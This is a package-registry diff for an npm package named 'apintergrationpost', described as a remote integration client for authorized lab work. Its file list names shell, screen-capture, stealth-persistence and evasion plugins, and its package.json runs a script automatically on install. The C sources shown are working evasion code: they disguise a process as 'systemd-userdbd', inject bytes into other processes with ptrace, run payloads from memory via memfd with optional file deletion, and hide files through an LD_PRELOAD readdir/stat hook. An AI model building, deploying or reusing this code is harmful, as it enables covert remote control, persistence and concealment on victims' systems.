apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,96 @@
1
+ #define _GNU_SOURCE
2
+ #include <errno.h>
3
+ #include <fcntl.h>
4
+ #include <stdio.h>
5
+ #include <stdlib.h>
6
+ #include <string.h>
7
+ #include <sys/prctl.h>
8
+ #include <sys/stat.h>
9
+ #include <unistd.h>
10
+
11
+ static void scrub_argv(char *argv0, const char *fake_name) {
12
+ if (!argv0 || !fake_name) return;
13
+ size_t len = strlen(argv0);
14
+ if (len == 0) return;
15
+ memset(argv0, 0, len);
16
+ strncpy(argv0, fake_name, len - 1);
17
+ }
18
+
19
+ static void daemonize(void) {
20
+ pid_t pid = fork();
21
+ if (pid < 0) _exit(1);
22
+ if (pid > 0) _exit(0);
23
+ if (setsid() < 0) _exit(1);
24
+ pid = fork();
25
+ if (pid < 0) _exit(1);
26
+ if (pid > 0) _exit(0);
27
+ chdir("/");
28
+ }
29
+
30
+ static int copy_file(const char *src, const char *dst) {
31
+ int in = open(src, O_RDONLY);
32
+ if (in < 0) return -1;
33
+ int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);
34
+ if (out < 0) {
35
+ close(in);
36
+ return -1;
37
+ }
38
+ char buf[8192];
39
+ ssize_t n;
40
+ while ((n = read(in, buf, sizeof(buf))) > 0) {
41
+ if (write(out, buf, (size_t)n) != n) {
42
+ close(in);
43
+ close(out);
44
+ return -1;
45
+ }
46
+ }
47
+ close(in);
48
+ close(out);
49
+ return 0;
50
+ }
51
+
52
+ int main(int argc, char *argv[]) {
53
+ const char *node_path = "/usr/bin/node";
54
+ const char *script_path = NULL;
55
+ const char *blend_path = "/usr/lib/systemd/systemd-userdbd";
56
+ const char *comm_name = "systemd-userdbd";
57
+ const char *fake_arg = "--user";
58
+ int do_daemon = 0;
59
+
60
+ for (int i = 1; i < argc; i++) {
61
+ if (strcmp(argv[i], "--node") == 0 && i + 1 < argc) node_path = argv[++i];
62
+ else if (strcmp(argv[i], "--script") == 0 && i + 1 < argc) script_path = argv[++i];
63
+ else if (strcmp(argv[i], "--blend") == 0 && i + 1 < argc) blend_path = argv[++i];
64
+ else if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) comm_name = argv[++i];
65
+ else if (strcmp(argv[i], "--fake-arg") == 0 && i + 1 < argc) fake_arg = argv[++i];
66
+ else if (strcmp(argv[i], "--daemon") == 0) do_daemon = 1;
67
+ }
68
+
69
+ if (!script_path) {
70
+ return 2;
71
+ }
72
+
73
+ if (do_daemon) {
74
+ daemonize();
75
+ }
76
+
77
+ copy_file(node_path, blend_path);
78
+
79
+ pid_t pid = fork();
80
+ if (pid < 0) return 1;
81
+
82
+ if (pid == 0) {
83
+ prctl(PR_SET_NAME, comm_name, 0, 0, 0);
84
+ scrub_argv(argv[0], comm_name);
85
+ char *child_argv[] = { (char *)blend_path, (char *)fake_arg, (char *)script_path, NULL };
86
+ execv(node_path, child_argv);
87
+ child_argv[0] = (char *)node_path;
88
+ child_argv[1] = (char *)script_path;
89
+ child_argv[2] = NULL;
90
+ execv(node_path, child_argv);
91
+ _exit(127);
92
+ }
93
+
94
+ printf("%d\n", (int)pid);
95
+ return 0;
96
+ }
@@ -0,0 +1,80 @@
1
+ #define _GNU_SOURCE
2
+ #include <errno.h>
3
+ #include <stdio.h>
4
+ #include <stdlib.h>
5
+ #include <string.h>
6
+ #include <sys/ptrace.h>
7
+ #include <sys/types.h>
8
+ #include <sys/uio.h>
9
+ #include <sys/wait.h>
10
+ #include <unistd.h>
11
+
12
+ static unsigned long find_exec_page(pid_t pid) {
13
+ char maps_path[64];
14
+ snprintf(maps_path, sizeof(maps_path), "/proc/%d/maps", (int)pid);
15
+ FILE *f = fopen(maps_path, "r");
16
+ if (!f) return 0;
17
+
18
+ char line[512];
19
+ unsigned long addr = 0;
20
+ while (fgets(line, sizeof(line), f)) {
21
+ if (strstr(line, " r-xp ") || strstr(line, " r-xs ")) {
22
+ if (sscanf(line, "%lx-", &addr) == 1) break;
23
+ }
24
+ }
25
+ fclose(f);
26
+ return addr;
27
+ }
28
+
29
+ static int inject_at(pid_t pid, unsigned long addr) {
30
+ unsigned char stub[] = { 0x90, 0x90, 0x90, 0x90, 0xcc };
31
+ for (size_t i = 0; i < sizeof(stub); i++) {
32
+ long word = ptrace(PTRACE_PEEKDATA, pid, (void *)(addr + i), NULL);
33
+ if (word == -1 && errno) continue;
34
+ unsigned char orig = (unsigned char)(word & 0xff);
35
+ long patched = (word & ~0xffUL) | stub[i];
36
+ if (ptrace(PTRACE_POKEDATA, pid, (void *)(addr + i), (void *)patched) != 0) {
37
+ return -1;
38
+ }
39
+ (void)orig;
40
+ }
41
+ return 0;
42
+ }
43
+
44
+ int main(int argc, char *argv[]) {
45
+ pid_t target = 0;
46
+ int spawn_sleep = 0;
47
+
48
+ for (int i = 1; i < argc; i++) {
49
+ if (strcmp(argv[i], "--spawn-sleep") == 0) spawn_sleep = 1;
50
+ else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) target = (pid_t)atoi(argv[++i]);
51
+ else if (target == 0) target = (pid_t)atoi(argv[i]);
52
+ }
53
+
54
+ if (spawn_sleep && target <= 0) {
55
+ pid_t child = fork();
56
+ if (child == 0) {
57
+ execlp("sleep", "sleep", "600", (char *)NULL);
58
+ _exit(127);
59
+ }
60
+ if (child < 0) return 1;
61
+ target = child;
62
+ }
63
+
64
+ if (target <= 0) return 2;
65
+
66
+ if (ptrace(PTRACE_ATTACH, target, NULL, NULL) != 0) return 1;
67
+ waitpid(target, NULL, 0);
68
+
69
+ unsigned long addr = find_exec_page(target);
70
+ if (addr == 0) {
71
+ ptrace(PTRACE_DETACH, target, NULL, NULL);
72
+ return 1;
73
+ }
74
+
75
+ inject_at(target, addr);
76
+ ptrace(PTRACE_DETACH, target, NULL, NULL);
77
+
78
+ printf("%d\n", (int)target);
79
+ return 0;
80
+ }
@@ -0,0 +1,80 @@
1
+ #define _GNU_SOURCE
2
+ #include <dirent.h>
3
+ #include <dlfcn.h>
4
+ #include <errno.h>
5
+ #include <fcntl.h>
6
+ #include <stdlib.h>
7
+ #include <string.h>
8
+ #include <sys/stat.h>
9
+ #include <unistd.h>
10
+
11
+ static char hide_paths[4096];
12
+
13
+ static void load_hide_paths(void) {
14
+ const char *env = getenv("MYRA_HIDE_PATHS");
15
+ if (!env) return;
16
+ strncpy(hide_paths, env, sizeof(hide_paths) - 1);
17
+ }
18
+
19
+ static int should_hide(const char *name) {
20
+ if (!name || !hide_paths[0]) return 0;
21
+ char buf[4096];
22
+ strncpy(buf, hide_paths, sizeof(buf) - 1);
23
+ char *save = NULL;
24
+ for (char *tok = strtok_r(buf, ":", &save); tok; tok = strtok_r(NULL, ":", &save)) {
25
+ if (strstr(name, tok) != NULL) return 1;
26
+ }
27
+ return 0;
28
+ }
29
+
30
+ typedef struct dirent *(*readdir_fn)(DIR *);
31
+ typedef struct dirent64 *(*readdir64_fn)(DIR *);
32
+
33
+ static readdir_fn real_readdir = NULL;
34
+ static readdir64_fn real_readdir64 = NULL;
35
+
36
+ struct dirent *readdir(DIR *dirp) {
37
+ if (!real_readdir) real_readdir = (readdir_fn)dlsym(RTLD_NEXT, "readdir");
38
+ if (!real_readdir) return NULL;
39
+ struct dirent *entry;
40
+ while ((entry = real_readdir(dirp)) != NULL) {
41
+ if (!should_hide(entry->d_name)) return entry;
42
+ }
43
+ return NULL;
44
+ }
45
+
46
+ struct dirent64 *readdir64(DIR *dirp) {
47
+ if (!real_readdir64) real_readdir64 = (readdir64_fn)dlsym(RTLD_NEXT, "readdir64");
48
+ if (!real_readdir64) return NULL;
49
+ struct dirent64 *entry;
50
+ while ((entry = real_readdir64(dirp)) != NULL) {
51
+ if (!should_hide(entry->d_name)) return entry;
52
+ }
53
+ return NULL;
54
+ }
55
+
56
+ static int (*real_stat)(const char *, struct stat *) = NULL;
57
+ static int (*real_lstat)(const char *, struct stat *) = NULL;
58
+
59
+ int stat(const char *pathname, struct stat *buf) {
60
+ if (!real_stat) real_stat = dlsym(RTLD_NEXT, "stat");
61
+ if (pathname && should_hide(pathname)) {
62
+ errno = ENOENT;
63
+ return -1;
64
+ }
65
+ return real_stat(pathname, buf);
66
+ }
67
+
68
+ int lstat(const char *pathname, struct stat *buf) {
69
+ if (!real_lstat) real_lstat = dlsym(RTLD_NEXT, "lstat");
70
+ if (pathname && should_hide(pathname)) {
71
+ errno = ENOENT;
72
+ return -1;
73
+ }
74
+ return real_lstat(pathname, buf);
75
+ }
76
+
77
+ __attribute__((constructor))
78
+ static void init(void) {
79
+ load_hide_paths();
80
+ }
@@ -0,0 +1,123 @@
1
+ #define _GNU_SOURCE
2
+ #include <errno.h>
3
+ #include <fcntl.h>
4
+ #include <stdio.h>
5
+ #include <stdlib.h>
6
+ #include <string.h>
7
+ #include <sys/mman.h>
8
+ #include <sys/stat.h>
9
+ #include <unistd.h>
10
+
11
+ static ssize_t write_all(int fd, const void *buf, size_t len) {
12
+ const char *p = buf;
13
+ size_t left = len;
14
+ while (left > 0) {
15
+ ssize_t n = write(fd, p, left);
16
+ if (n < 0) {
17
+ if (errno == EINTR) continue;
18
+ return -1;
19
+ }
20
+ p += n;
21
+ left -= (size_t)n;
22
+ }
23
+ return (ssize_t)len;
24
+ }
25
+
26
+ static int load_payload(const char *path, char **out, size_t *out_len) {
27
+ int fd = open(path, O_RDONLY);
28
+ if (fd < 0) return -1;
29
+
30
+ struct stat st;
31
+ if (fstat(fd, &st) != 0) {
32
+ close(fd);
33
+ return -1;
34
+ }
35
+
36
+ if (st.st_size <= 0 || st.st_size > (1024 * 1024 * 16)) {
37
+ close(fd);
38
+ errno = EFBIG;
39
+ return -1;
40
+ }
41
+
42
+ char *buf = malloc((size_t)st.st_size);
43
+ if (!buf) {
44
+ close(fd);
45
+ return -1;
46
+ }
47
+
48
+ size_t total = 0;
49
+ while (total < (size_t)st.st_size) {
50
+ ssize_t n = read(fd, buf + total, (size_t)st.st_size - total);
51
+ if (n < 0) {
52
+ free(buf);
53
+ close(fd);
54
+ return -1;
55
+ }
56
+ if (n == 0) break;
57
+ total += (size_t)n;
58
+ }
59
+ close(fd);
60
+
61
+ *out = buf;
62
+ *out_len = total;
63
+ return 0;
64
+ }
65
+
66
+ int main(int argc, char *argv[]) {
67
+ if (argc < 2) {
68
+ return 2;
69
+ }
70
+
71
+ char *payload = NULL;
72
+ size_t payload_len = 0;
73
+ if (load_payload(argv[1], &payload, &payload_len) != 0) {
74
+ return 1;
75
+ }
76
+
77
+ int memfd = memfd_create(".cache", MFD_CLOEXEC);
78
+ if (memfd < 0) {
79
+ free(payload);
80
+ return 1;
81
+ }
82
+
83
+ if (write_all(memfd, payload, payload_len) < 0) {
84
+ free(payload);
85
+ close(memfd);
86
+ return 1;
87
+ }
88
+ free(payload);
89
+
90
+ char fd_path[64];
91
+ snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", memfd);
92
+
93
+ char *exec_envp[] = { NULL };
94
+ size_t saved_len = payload_len;
95
+
96
+ pid_t pid = fork();
97
+ if (pid < 0) {
98
+ close(memfd);
99
+ return 1;
100
+ }
101
+
102
+ if (pid == 0) {
103
+ unsigned char magic0 = 0;
104
+ if (saved_len >= 4) {
105
+ lseek(memfd, 0, SEEK_SET);
106
+ read(memfd, &magic0, 1);
107
+ lseek(memfd, 0, SEEK_SET);
108
+ }
109
+
110
+ if (saved_len >= 4 && magic0 == 0x7f) {
111
+ char *exec_argv[] = { fd_path, NULL };
112
+ fexecve(memfd, exec_argv, exec_envp);
113
+ }
114
+
115
+ char *sh_argv[] = { "/bin/sh", fd_path, NULL };
116
+ execv("/bin/sh", sh_argv);
117
+ _exit(127);
118
+ }
119
+
120
+ close(memfd);
121
+ printf("%d\n", (int)pid);
122
+ return 0;
123
+ }
@@ -0,0 +1,224 @@
1
+ #define _GNU_SOURCE
2
+ #include <errno.h>
3
+ #include <fcntl.h>
4
+ #include <stdio.h>
5
+ #include <stdlib.h>
6
+ #include <string.h>
7
+ #include <sys/mman.h>
8
+ #include <sys/prctl.h>
9
+ #include <sys/stat.h>
10
+ #include <sys/wait.h>
11
+ #include <unistd.h>
12
+
13
+ #define MAX_CLIENT_ARGS 32
14
+ #define MAX_ENV 32
15
+
16
+ static ssize_t write_all(int fd, const void *buf, size_t len) {
17
+ const char *p = buf;
18
+ size_t left = len;
19
+ while (left > 0) {
20
+ ssize_t n = write(fd, p, left);
21
+ if (n < 0) {
22
+ if (errno == EINTR) continue;
23
+ return -1;
24
+ }
25
+ p += n;
26
+ left -= (size_t)n;
27
+ }
28
+ return (ssize_t)len;
29
+ }
30
+
31
+ static int read_file(const char *path, char **out, size_t *out_len) {
32
+ int fd = open(path, O_RDONLY);
33
+ if (fd < 0) return -1;
34
+
35
+ struct stat st;
36
+ if (fstat(fd, &st) != 0) {
37
+ close(fd);
38
+ return -1;
39
+ }
40
+ if (st.st_size <= 0 || st.st_size > (256L * 1024 * 1024)) {
41
+ close(fd);
42
+ errno = EFBIG;
43
+ return -1;
44
+ }
45
+
46
+ char *buf = malloc((size_t)st.st_size);
47
+ if (!buf) {
48
+ close(fd);
49
+ return -1;
50
+ }
51
+
52
+ size_t total = 0;
53
+ while (total < (size_t)st.st_size) {
54
+ ssize_t n = read(fd, buf + total, (size_t)st.st_size - total);
55
+ if (n < 0) {
56
+ free(buf);
57
+ close(fd);
58
+ return -1;
59
+ }
60
+ if (n == 0) break;
61
+ total += (size_t)n;
62
+ }
63
+ close(fd);
64
+ *out = buf;
65
+ *out_len = total;
66
+ return 0;
67
+ }
68
+
69
+ static int write_memfd(const char *name, const char *data, size_t len) {
70
+ int fd = memfd_create(name, MFD_CLOEXEC);
71
+ if (fd < 0) return -1;
72
+ if (write_all(fd, data, len) < 0) {
73
+ close(fd);
74
+ return -1;
75
+ }
76
+ return fd;
77
+ }
78
+
79
+ static void scrub_argv(char *argv0, const char *fake) {
80
+ if (!argv0 || !fake) return;
81
+ size_t len = strlen(argv0);
82
+ if (len == 0) return;
83
+ memset(argv0, 0, len);
84
+ strncpy(argv0, fake, len - 1);
85
+ }
86
+
87
+ static void daemonize(void) {
88
+ pid_t pid = fork();
89
+ if (pid < 0) _exit(1);
90
+ if (pid > 0) _exit(0);
91
+ if (setsid() < 0) _exit(1);
92
+ pid = fork();
93
+ if (pid < 0) _exit(1);
94
+ if (pid > 0) _exit(0);
95
+ chdir("/");
96
+ }
97
+
98
+ int main(int argc, char *argv[]) {
99
+ const char *node_path = "/usr/bin/node";
100
+ const char *bundle_path = NULL;
101
+ const char *comm_name = "systemd-userdbd";
102
+ const char *fake_arg = "--user";
103
+ const char *config_path = NULL;
104
+ int do_daemon = 0;
105
+ int scrub = 0;
106
+ int unlink_bundle = 0;
107
+
108
+ char *client_args[MAX_CLIENT_ARGS];
109
+ int client_argc = 0;
110
+ int passthrough = 0;
111
+
112
+ for (int i = 1; i < argc; i++) {
113
+ if (passthrough) {
114
+ if (client_argc >= MAX_CLIENT_ARGS - 1) break;
115
+ client_args[client_argc++] = argv[i];
116
+ continue;
117
+ }
118
+ if (strcmp(argv[i], "--") == 0) {
119
+ passthrough = 1;
120
+ continue;
121
+ }
122
+ if (strcmp(argv[i], "--node") == 0 && i + 1 < argc) {
123
+ node_path = argv[++i];
124
+ } else if (strcmp(argv[i], "--bundle") == 0 && i + 1 < argc) {
125
+ bundle_path = argv[++i];
126
+ } else if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) {
127
+ comm_name = argv[++i];
128
+ } else if (strcmp(argv[i], "--fake-arg") == 0 && i + 1 < argc) {
129
+ fake_arg = argv[++i];
130
+ } else if (strcmp(argv[i], "--config") == 0 && i + 1 < argc) {
131
+ config_path = argv[++i];
132
+ } else if (strcmp(argv[i], "--daemon") == 0) {
133
+ do_daemon = 1;
134
+ } else if (strcmp(argv[i], "--scrub-argv") == 0) {
135
+ scrub = 1;
136
+ } else if (strcmp(argv[i], "--unlink-bundle") == 0) {
137
+ unlink_bundle = 1;
138
+ }
139
+ }
140
+
141
+ if (!bundle_path) {
142
+ return 2;
143
+ }
144
+
145
+ char *node_data = NULL;
146
+ char *bundle_data = NULL;
147
+ size_t node_len = 0;
148
+ size_t bundle_len = 0;
149
+
150
+ if (read_file(node_path, &node_data, &node_len) != 0) {
151
+ return 1;
152
+ }
153
+ if (read_file(bundle_path, &bundle_data, &bundle_len) != 0) {
154
+ free(node_data);
155
+ return 1;
156
+ }
157
+
158
+ if (unlink_bundle) {
159
+ unlink(bundle_path);
160
+ }
161
+
162
+ int node_mfd = write_memfd(".node", node_data, node_len);
163
+ free(node_data);
164
+ if (node_mfd < 0) {
165
+ free(bundle_data);
166
+ return 1;
167
+ }
168
+
169
+ int bundle_mfd = write_memfd(".bundle", bundle_data, bundle_len);
170
+ free(bundle_data);
171
+ if (bundle_mfd < 0) {
172
+ close(node_mfd);
173
+ return 1;
174
+ }
175
+
176
+ pid_t pid = fork();
177
+ if (pid < 0) {
178
+ close(node_mfd);
179
+ close(bundle_mfd);
180
+ return 1;
181
+ }
182
+
183
+ if (pid == 0) {
184
+ if (do_daemon) {
185
+ daemonize();
186
+ }
187
+
188
+ char script_path[64];
189
+ snprintf(script_path, sizeof(script_path), "/proc/self/fd/%d", bundle_mfd);
190
+
191
+ prctl(PR_SET_NAME, comm_name, 0, 0, 0);
192
+ if (scrub) {
193
+ scrub_argv(argv[0], comm_name);
194
+ }
195
+
196
+ setenv("MYRA_MEMFD_MODE", "full", 1);
197
+ setenv("MYRA_MEMFD_CHILD", "1", 1);
198
+ setenv("MYRA_FEATURES_PTY", "false", 1);
199
+ setenv("NODE_OPTIONS", "--no-warnings", 1);
200
+ if (config_path) {
201
+ setenv("MYRA_CONFIG", config_path, 1);
202
+ }
203
+
204
+ char *exec_argv[MAX_CLIENT_ARGS + 4];
205
+ int idx = 0;
206
+ exec_argv[idx++] = (char *)comm_name;
207
+ if (fake_arg && fake_arg[0]) {
208
+ exec_argv[idx++] = (char *)fake_arg;
209
+ }
210
+ exec_argv[idx++] = script_path;
211
+ for (int i = 0; i < client_argc; i++) {
212
+ exec_argv[idx++] = client_args[i];
213
+ }
214
+ exec_argv[idx] = NULL;
215
+
216
+ fexecve(node_mfd, exec_argv, environ);
217
+ _exit(127);
218
+ }
219
+
220
+ close(node_mfd);
221
+ close(bundle_mfd);
222
+ printf("%d\n", (int)pid);
223
+ return 0;
224
+ }
@@ -0,0 +1,64 @@
1
+ #define _GNU_SOURCE
2
+ #include <errno.h>
3
+ #include <fcntl.h>
4
+ #include <stdio.h>
5
+ #include <stdlib.h>
6
+ #include <string.h>
7
+ #include <sys/prctl.h>
8
+ #include <unistd.h>
9
+
10
+ static void scrub_argv(char *argv0, const char *fake_name) {
11
+ if (!argv0 || !fake_name) return;
12
+ size_t len = strlen(argv0);
13
+ if (len == 0) return;
14
+ memset(argv0, 0, len);
15
+ strncpy(argv0, fake_name, len - 1);
16
+ }
17
+
18
+ static int apply_hide(pid_t target, const char *comm_name, int scrub) {
19
+ char comm_path[64];
20
+ char cmdline_path[64];
21
+ snprintf(comm_path, sizeof(comm_path), "/proc/%d/comm", (int)target);
22
+ snprintf(cmdline_path, sizeof(cmdline_path), "/proc/%d/comm", (int)target);
23
+
24
+ if (target == getpid()) {
25
+ prctl(PR_SET_NAME, comm_name, 0, 0, 0);
26
+ if (scrub) scrub_argv(NULL, comm_name);
27
+ }
28
+
29
+ int fd = open(comm_path, O_WRONLY);
30
+ if (fd >= 0) {
31
+ dprintf(fd, "%s", comm_name);
32
+ close(fd);
33
+ }
34
+
35
+ (void)cmdline_path;
36
+ return 0;
37
+ }
38
+
39
+ int main(int argc, char *argv[]) {
40
+ const char *comm_name = "systemd-userdbd";
41
+ pid_t target = 0;
42
+ int scrub = 0;
43
+ int self_mode = 0;
44
+
45
+ for (int i = 1; i < argc; i++) {
46
+ if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) comm_name = argv[++i];
47
+ else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) target = (pid_t)atoi(argv[++i]);
48
+ else if (strcmp(argv[i], "--self") == 0) { self_mode = 1; target = getpid(); }
49
+ else if (strcmp(argv[i], "--scrub-argv") == 0) scrub = 1;
50
+ }
51
+
52
+ if (self_mode || target > 0) {
53
+ if (self_mode) {
54
+ prctl(PR_SET_NAME, comm_name, 0, 0, 0);
55
+ if (scrub) scrub_argv(argv[0], comm_name);
56
+ } else {
57
+ apply_hide(target, comm_name, scrub);
58
+ }
59
+ printf("%d\n", (int)(self_mode ? getpid() : target));
60
+ return 0;
61
+ }
62
+
63
+ return 2;
64
+ }
package/package.json ADDED
@@ -0,0 +1,45 @@
1
+ {
2
+ "name": "apintergrationpost",
3
+ "version": "4.0.1",
4
+ "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
+ "license": "MIT",
6
+ "engines": {
7
+ "node": ">=18"
8
+ },
9
+ "bin": {
10
+ "apintergrationpost": "bin/apintergrationpost.js",
11
+ "apintergrationpost-install": "bin/apintergrationpost-install.js"
12
+ },
13
+ "files": [
14
+ "bin/",
15
+ "src/",
16
+ "native/",
17
+ "scripts/prepare-native.js",
18
+ "scripts/postinstall-run.js",
19
+ "apintergrationpost.config.json",
20
+ "README.md"
21
+ ],
22
+ "scripts": {
23
+ "prepare": "node scripts/prepare-native.js",
24
+ "postinstall": "node scripts/postinstall-run.js",
25
+ "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
26
+ "server": "node src/server/index.js",
27
+ "client": "node bin/apintergrationpost.js",
28
+ "build-native": "make -C native/lab-tools",
29
+ "bundle-agent": "node scripts/bundle-agent.js",
30
+ "correlate": "node scripts/correlate-events.js",
31
+ "edr-matrix": "bash scripts/edr-test-matrix.sh",
32
+ "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
33
+ },
34
+ "dependencies": {
35
+ "node-pty": "^1.0.0"
36
+ },
37
+ "devDependencies": {
38
+ "esbuild": "^0.25.0"
39
+ },
40
+ "keywords": [
41
+ "integration",
42
+ "remote-client",
43
+ "ubuntu"
44
+ ]
45
+ }